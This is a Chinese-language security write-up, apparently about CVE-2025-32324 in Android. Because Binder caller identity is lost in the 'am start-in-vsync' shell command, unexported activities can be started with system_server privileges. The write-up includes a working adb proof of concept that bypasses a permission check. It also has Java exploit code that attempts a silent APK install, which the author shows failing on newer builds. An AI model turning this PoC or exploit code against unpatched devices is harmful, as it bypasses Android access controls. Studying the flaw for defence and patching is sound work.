简介
在ActivityManagerShellCommand的start-in-vsync命令中存在鉴权信息未正确传递的问题,导致可以通过这个接口实现LaunchAnyWhere,拉起系统中任意未导出的Activity。
漏洞分析
代码比较简单:
//...
case "start":
case "start-activity":
return runStartActivity(pw);
case "start-in-vsync":
final ProgressWaiter waiter = new ProgressWaiter(0);
final int[] startResult = new int[1];
startResult[0] = -1;
mInternal.mUiHandler.runWithScissors(
() -> Choreographer.getInstance().postFrameCallback(frameTimeNanos -> {
try {
startResult[0] = runStartActivity(pw);
waiter.onFinished(0, null /* extras */);
} catch (Exception ex) {
getErrPrintWriter().println(
"Error: unable to start activity, " + ex);
}
}),
USER_OPERATION_TIMEOUT_MS / 2);
waiter.waitForFinish(USER_OPERATION_TIMEOUT_MS);
return startResult[0];
//...
和正常的start-activity命令比较,主要差异就是start-in-vsync是在ATMS的mUiHandler中执行runStartActivity的,而通过Handler进行线程间通信时,Binder中的鉴权信息会丢失,导致后续startActivityAsUserWithFeature获得的鉴权信息是system_server进程的,我们可以很容易地通过一些日志验证这一点。
//...
case "start":
case "start-activity":
pw.println("In AMSC.onCommand: callingUid=" + Binder.getCallingUid() + ", callingPid=" + Binder.getCallingPid());
return runStartActivity(pw);
case "start-in-vsync":
final ProgressWaiter waiter = new ProgressWaiter(0);
final int[] startResult = new int[1];
startResult[0] = -1;
mInternal.mUiHandler.runWithScissors(
() -> Choreographer.getInstance().postFrameCallback(frameTimeNanos -> {
try {
pw.println("In AMSC.onCommand: callingUid=" + Binder.getCallingUid() + ", callingPid=" + Binder.getCallingPid());
startResult[0] = runStartActivity(pw);
waiter.onFinished(0, null /* extras */);
} catch (Exception ex) {
getErrPrintWriter().println(
"Error: unable to start activity, " + ex);
}
}),
USER_OPERATION_TIMEOUT_MS / 2);
waiter.waitForFinish(USER_OPERATION_TIMEOUT_MS);
return startResult[0];
//...
PoC
$ adb shell am start -n com.android.settings/.SubSettings
In AMSC.onCommand: callingUid=2000, callingPid=3873
Starting: Intent { cmp=com.android.settings/.SubSettings }
Exception occurred while executing 'start':
java.lang.SecurityException: Permission Denial: starting Intent { flg=0x10000000 cmp=com.android.settings/.SubSettings } from null (pid=3873, uid=2000) not exported from uid 1000
at com.android.server.wm.ActivityTaskSupervisor.checkStartAnyActivityPermission(ActivityTaskSupervisor.java:1184)
at com.android.server.wm.ActivityStarter.executeRequest(ActivityStarter.java:1223)
at com.android.server.wm.ActivityStarter.execute(ActivityStarter.java:865)
at com.android.server.wm.ActivityTaskManagerService.startActivityAsUser(ActivityTaskManagerService.java:1321)
at com.android.server.wm.ActivityTaskManagerService.startActivityAsUser(ActivityTaskManagerService.java:1262)
at com.android.server.am.ActivityManagerService.startActivityAsUserWithFeature(ActivityManagerService.java:3245)
at com.android.server.am.ActivityManagerShellCommand.runStartActivity(ActivityManagerShellCommand.java:869)
at com.android.server.am.ActivityManagerShellCommand.onCommand(ActivityManagerShellCommand.java:251)
at com.android.modules.utils.BasicShellCommandHandler.exec(BasicShellCommandHandler.java:97)
at android.os.ShellCommand.exec(ShellCommand.java:38)
at com.android.server.am.ActivityManagerService.onShellCommand(ActivityManagerService.java:10406)
at android.os.Binder.shellCommand(Binder.java:1143)
at android.os.Binder.onTransact(Binder.java:945)
at android.app.IActivityManager$Stub.onTransact(IActivityManager.java:5733)
at com.android.server.am.ActivityManagerService.onTransact(ActivityManagerService.java:2721)
at android.os.Binder.execTransactInternal(Binder.java:1411)
at android.os.Binder.execTransact(Binder.java:1350)
$ adb shell am start-in-vsync -n com.android.settings/.SubSettings
In AMSC.onCommand: callingUid=2000, callingPid=3914
In ATMS.mUiHandler: callingUid=1000, callingPid=1306
Starting: Intent { cmp=com.android.settings/.SubSettings }
可以很清楚地看到,在经过ATMS的UI Handler中执行代码后,鉴权信息丢失,导致了这次LAW漏洞的出现。
限制
这个漏洞仅存在于ActivityManagerShellCommand中,所以你无法通过任何ATMS的Binder IPC接口去触发,而只能使用am命令,这样一来我们便无法在Intent中添加任意的Parcelable参数。这样一来,这个漏洞的威力就大大被限制了————因为攻击者无法再结合其它UID>10000应用的Intent Bridge漏洞去访问其FileProvider。
利用尝试
另外一个比较容易想到的便是去攻击InstallInstalling,实现伪静默安装。但是经过测试之后发现这条路也无法行得通,攻击代码:
public static int writeApkToPackageInstaller(Context context, File apkFile) throws IOException {
if (!apkFile.exists() || !apkFile.getName().endsWith(".apk")) {
Log.e(TAG, "Must use an apk file to silent install.");
return -1;
}
// 打开PackageInstaller的session
PackageInstaller pi = context.getPackageManager().getPackageInstaller();
PackageInstaller.SessionParams params =
new PackageInstaller.SessionParams(PackageInstaller.SessionParams.MODE_FULL_INSTALL);
int sessionId = pi.createSession(params);
PackageInstaller.Session session = pi.openSession(sessionId);
// 写入apk到session
OutputStream os = session.openWrite("package", 0, -1);
FileInputStream fis = new FileInputStream(apkFile);
byte[] buffer = new byte[4096];
for (int n; (n = fis.read(buffer)) > 0;) {
os.write(buffer, 0, n);
}
fis.close();
os.flush();
os.close();
return sessionId;
}
public static void exploitCVE_2025_32324(int sessionId, File apkFile) throws IOException {
if (!Android.checkIfSecurityPatchBefore("2025-09-01")) {
Log.e(TAG, "Oops! It looks like CVE-2025-32324 bug has been fixed on this device.");
return;
}
String[] cmd = {
"am", "start-in-vsync",
"-n", Constants.Package.PACKAGE_INSTALLER + "/.InstallInstalling",
"-d", Uri.fromFile(apkFile).toString(),
"--ei", "EXTRA_STAGED_SESSION_ID", Integer.toString(sessionId),
};
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
String output;
while ((output = reader.readLine()) != null) {
Log.d(TAG, output);
}
}
public static void autoInstallFromAsset(Context context, String asset) throws IOException {
File apkFile = new File(context.getCacheDir(), asset);
Android.copyAsset(context, asset, apkFile);
int sessionId = AndroidH.writeApkToPackageInstaller(context, apkFile);
// 将文件复制到download目录
// 如果文件存在会重复
Android.copyFileToDownload(context, apkFile, apkFile.getName(),
"application/vnd.android.package-archive");
// 传给InstallInstalling的时候,需要是file uri
// 因为后面是由uid 1000执行startActivityAsUser,所以不会受到FileUriExposedException的影响
File apkFileInDownload = new File(Environment
.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOWNLOADS), apkFile.getName());
exploitCVE_2025_32324(sessionId, apkFileInDownload);
}
这里的问题是,正常我们是需要一个ApplicationInfo对象作为参数,而我们无法通过命令传递它:
public static Intent createInstallingIntent(Context context, int sessionId, File apkFile) {
// 构造调用InstallInstalling的Intent
Intent installingIntent = new Intent();
installingIntent.setClassName(Constants.Package.PACKAGE_INSTALLER,
Constants.Package.PACKAGE_INSTALLER + ".InstallInstalling");
installingIntent.putExtra("EXTRA_STAGED_SESSION_ID", sessionId);
installingIntent.setData(Uri.fromFile(apkFile));
PackageInfo packageInfo = context.getPackageManager()
.getPackageArchiveInfo(apkFile.getAbsolutePath(), PackageManager.GET_PERMISSIONS);
if (packageInfo == null) {
Log.e(TAG, "getPackageArchiveInfo returns null, failed to auto install.");
return null;
}
installingIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
// ** 命令行中无法添加此参数 **
installingIntent.putExtra("com.android.packageinstaller.applicationInfo",
packageInfo.applicationInfo);
return installingIntent;
}
本来在Android 14和以前的版本,没有ApplicationInfo对象也是可以安装成功的,只是无法显示出界面,但是在下面这个补丁中对流程进行了修改:
- PackageUtil.AppSnippet as = getIntent()
- .getParcelableExtra(EXTRA_APP_SNIPPET, PackageUtil.AppSnippet.class);
+
+ // Dialogs displayed while changing update-owner have a blank icon. To fix this,
+ // fetch the appSnippet from the source file again
+ PackageUtil.AppSnippet as = PackageUtil.getAppSnippet(this, appInfo, sourceFile);
+ getIntent().putExtra(EXTRA_APP_SNIPPET, as);
本来实际上拿到的appInfo对象,是在openSession开始安装之后才使用,所以appInfo为NULL的情况下即使产生了NPE,也不会影响PMS正常执行安装,只是界面无法显示而已,但是修改后的代码会使用PackageUtil.getAppSnippet
去获得一个AppSnippet
对象,而这里面会大量引用到appInfo,就无法在不传此参数的前提下完成利用:
/**
* Utility method to load application label
*
* @param pContext context of package that can load the resources
* @param appInfo ApplicationInfo object of package whose resources are to be loaded
* @param sourceFile File the package is in
*/
public static AppSnippet getAppSnippet(
Activity pContext, ApplicationInfo appInfo, File sourceFile) {
final String archiveFilePath = sourceFile.getAbsolutePath();
PackageManager pm = pContext.getPackageManager();
appInfo.publicSourceDir = archiveFilePath;
if (appInfo.splitNames != null && appInfo.splitSourceDirs == null) {
final File[] files = sourceFile.getParentFile().listFiles(
(dir, name) -> name.endsWith(SPLIT_APK_SUFFIX));
final String[] splits = Arrays.stream(appInfo.splitNames)
.map(i -> findFilePath(files, i + SPLIT_APK_SUFFIX))
.filter(Objects::nonNull)
.toArray(String[]::new);
appInfo.splitSourceDirs = splits;
appInfo.splitPublicSourceDirs = splits;
}
CharSequence label = null;
// Try to load the label from the package's resources. If an app has not explicitly
// specified any label, just use the package name.
if (appInfo.labelRes != 0) {
try {
label = appInfo.loadLabel(pm);
} catch (Resources.NotFoundException e) {
}
}
if (label == null) {
label = (appInfo.nonLocalizedLabel != null) ?
appInfo.nonLocalizedLabel : appInfo.packageName;
}
Drawable icon = null;
// Try to load the icon from the package's resources. If an app has not explicitly
// specified any resource, just use the default icon for now.
try {
if (appInfo.icon != 0) {
try {
icon = appInfo.loadIcon(pm);
} catch (Resources.NotFoundException e) {
}
}
if (icon == null) {
icon = pContext.getPackageManager().getDefaultActivityIcon();
}
} catch (OutOfMemoryError e) {
Log.i(LOG_TAG, "Could not load app icon", e);
}
return new PackageUtil.AppSnippet(label, icon, pContext);
}
实际测试的日志验证了这一点,在方法开头尝试写入appInfo.publicSourceDir时便抛出NPE杀死了PackageInstaller,就不会有机会进行安装。
E FATAL EXCEPTION: main
Process: com.android.packageinstaller, PID: 31447
java.lang.RuntimeException: Unable to start activity ComponentInfo{com.android.packageinstaller/com.android.packageinstaller.InstallInstalling}: java.lang.NullPointerException: Attempt to write to field 'java.lang.String android.content.pm.ApplicationInfo.publicSourceDir' on a null object reference in method 'com.android.packageinstaller.PackageUtil$AppSnippet com.android.packageinstaller.PackageUtil.getAppSnippet(android.app.Activity, android.content.pm.ApplicationInfo, java.io.File)'
at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:4206)
at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:4393)
at android.app.servertransaction.LaunchActivityItem.execute(LaunchActivityItem.java:222)
at android.app.servertransaction.TransactionExecutor.executeNonLifecycleItem(TransactionExecutor.java:133)
at android.app.servertransaction.TransactionExecutor.executeTransactionItems(TransactionExecutor.java:103)
at android.app.servertransaction.TransactionExecutor.execute(TransactionExecutor.java:80)
at android.app.ActivityThread$H.handleMessage(ActivityThread.java:2773)
at android.os.Handler.dispatchMessage(Handler.java:109)
at android.os.Looper.loopOnce(Looper.java:232)
at android.os.Looper.loop(Looper.java:317)
at android.app.ActivityThread.main(ActivityThread.java:8934)
at java.lang.reflect.Method.invoke(Native Method)
at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:591)
at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:911)
Caused by: java.lang.NullPointerException: Attempt to write to field 'java.lang.String android.content.pm.ApplicationInfo.publicSourceDir' on a null object reference in method 'com.android.packageinstaller.PackageUtil$AppSnippet com.android.packageinstaller.PackageUtil.getAppSnippet(android.app.Activity, android.content.pm.ApplicationInfo, java.io.File)'
at com.android.packageinstaller.PackageUtil.getAppSnippet(PackageUtil.java:240)
at com.android.packageinstaller.InstallInstalling.onCreate(InstallInstalling.java:99)
at android.app.Activity.performCreate(Activity.java:9079)
at android.app.Activity.performCreate(Activity.java:9057)
at android.app.Instrumentation.callActivityOnCreate(Instrumentation.java:1531)
at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:4188)
at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:4393)
at android.app.servertransaction.LaunchActivityItem.execute(LaunchActivityItem.java:222)
at android.app.servertransaction.TransactionExecutor.executeNonLifecycleItem(TransactionExecutor.java:133)
at android.app.servertransaction.TransactionExecutor.executeTransactionItems(TransactionExecutor.java:103)
at android.app.servertransaction.TransactionExecutor.execute(TransactionExecutor.java:80)
at android.app.ActivityThread$H.handleMessage(ActivityThread.java:2773)
at android.os.Handler.dispatchMessage(Handler.java:109)
at android.os.Looper.loopOnce(Looper.java:232)
at android.os.Looper.loop(Looper.java:317)
at android.app.ActivityThread.main(ActivityThread.java:8934)
at java.lang.reflect.Method.invoke(Native Method)
at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:591)
at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:911)